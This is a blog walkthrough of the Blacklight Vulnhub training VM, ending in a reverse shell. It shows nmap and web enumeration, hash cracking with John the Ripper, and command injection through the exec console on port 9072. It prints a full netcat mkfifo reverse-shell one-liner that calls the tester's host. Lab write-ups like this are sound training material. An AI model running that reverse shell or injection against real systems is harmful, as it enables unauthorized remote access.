Blacklight Vulnhub Walkthrough

falconspy (36)in #security • 6 years ago

Name: Blacklight
Date Release: 8 June 2018

Author: Carter B
Series: Blacklight

Vulnhub URL: https://www.vulnhub.com/entry/blacklight-1,242/

Description:

N/A

Recommend that you use VirtualBox

Notice: The Blacklight Vulnhub VM was a rather short and simple system to pen test but may have a few tricks to it as well as rabbit holes. There were a few flags but I just wanted to obtain root. As such, the flags will not be listed in this particular walkthrough.

1. Service Enumeration

Using the following nmap command: nmap -O -A -sT -sV -p- -T5 192.168.1.28 -vvv

We get the following interesting output:

PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: BLACKLIGHT
9072/tcp open  unknown syn-ack
| fingerprint-strings: 
|   DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, X11Probe: 
|_    BLACKLIGHT console mk1. Type .help for instructions
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9072-TCP:V=7.60%I=7%D=7/19%Time=5B504DCA%P=x86_64-pc-linux-gnu%r(NU
SF:LL,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instr
SF:uctions\n")%r(GenericLines,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x
SF:20\.help\x20for\x20instructions\n")%r(GetRequest,34,"BLACKLIGHT\x20cons
SF:ole\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(HTTPOptions
SF:,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instruc
SF:tions\n")%r(RTSPRequest,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\
SF:.help\x20for\x20instructions\n")%r(RPCCheck,34,"BLACKLIGHT\x20console\x
SF:20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(DNSVersionBindRe
SF:q,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instru
SF:ctions\n")%r(DNSStatusRequest,34,"BLACKLIGHT\x20console\x20mk1\.\x20Typ
SF:e\x20\.help\x20for\x20instructions\n")%r(Help,34,"BLACKLIGHT\x20console
SF:\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(SSLSessionReq,
SF:34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instruct
SF:ions\n")%r(TLSSessionReq,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20
SF:\.help\x20for\x20instructions\n")%r(Kerberos,34,"BLACKLIGHT\x20console\
SF:x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(SMBProgNeg,34,"
SF:BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instructions
SF:\n")%r(X11Probe,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x2
SF:0for\x20instructions\n")%r(FourOhFourRequest,34,"BLACKLIGHT\x20console\
SF:x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(LPDString,34,"B
SF:LACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\
SF:n")%r(LDAPSearchReq,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.hel
SF:p\x20for\x20instructions\n")%r(LDAPBindReq,34,"BLACKLIGHT\x20console\x2
SF:0mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(SIPOptions,34,"BL
SF:ACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n
SF:")%r(LANDesk-RC,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x2
SF:0for\x20instructions\n")%r(TerminalServer,34,"BLACKLIGHT\x20console\x20
SF:mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(NCP,34,"BLACKLIGHT
SF:\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n");
MAC Address: 08:00:27:73:DB:5C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8

We see there are 2 services running. One being an Apache web service and another running on port 9072.

2. Web Enumeration

I ran a number of different web enumeration tools such as nikto, dirb, and dirbuster. There wasn't anything interesting to look at other than the robots.txt which all three tools found. That being said, when using nikto against this Blacklight Vulnhub VM we get the following output:

Viewing the robots.txt file we get:

The flag1.txt file will contain the first flag. As previously stated at the beginning of this walkthrough I was not particularly concerned about capturing the flag info. However, in the flag1.txt file there was a hint towards the service running port 9072:

The tip here is the 9072. The secret is at home part isn't very useful and it's just misleading.

The blacklight.dict file is of course a dictionary file. This is probably used to obtain a flag elsewhere on the system or do something else.

3. Port 9072 Enumeration

I decided to start off using telnet to see if I can connect to the service and see what presented itself:

We have access to about 4 commands:

help - displays the menu obviously
readhash - this displays a SHA256 bit hash (b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6)
exec - execute commands
quit - and obviously quit

The hash that gets returned from readhash is probably used for something else on the system. We were not concerned with this part. However, I ran the hash against the dictionary file with John the Ripper using john --wordlist=/root/Desktop/blacklight.dict hash.txt --format=raw-sha256 and got nothing interesting back. Go figure!

This portion of the penetration test has a gotcha. If one executes exec twice, readhash twice, or both readhash & exec the server will lock you out completely. Once locked out the only way to get back in is reset the VM.

Whenever a system or application allows a user to input commands or execute commands, this should always be considered as one of the primary attack vectors. In this particular case it was the exact attack vector we were looking for.

There's an additional gotcha with this exec command. It does not output anything you give it to run to the console. It all happens in the background. This was tested using tcpdump to watch for any packets:

In the above screenshot, we can see the ping request I performed on the target using .exec 'ping -c 1 192.168.1.29' (The apostrophe's should be backticks (`) in the interest of highlighting the command, I had to switch it to apostrophe's for the Markdown).

I do not recommend using ping as a test especially if you are unsure of how many attempts you would have before getting locked out. Since we have control over the VM though, we can simply reset it to get our 2 attempts back.

Using one of the common reverse shells found on numerous cheat sheet websites ( http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet ) we were able to create a reverse shell to our Kali box. I used the following command on the victim machine after starting a netcat listener on my Kali box:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.29 8080 >/tmp/f

At the highest level overview for the above command without breaking it down bit by bit we create a file that has our inputs and outputs piped through it via netcat.

This of course requires the system has netcat to work obviously. In our particular case it did have it.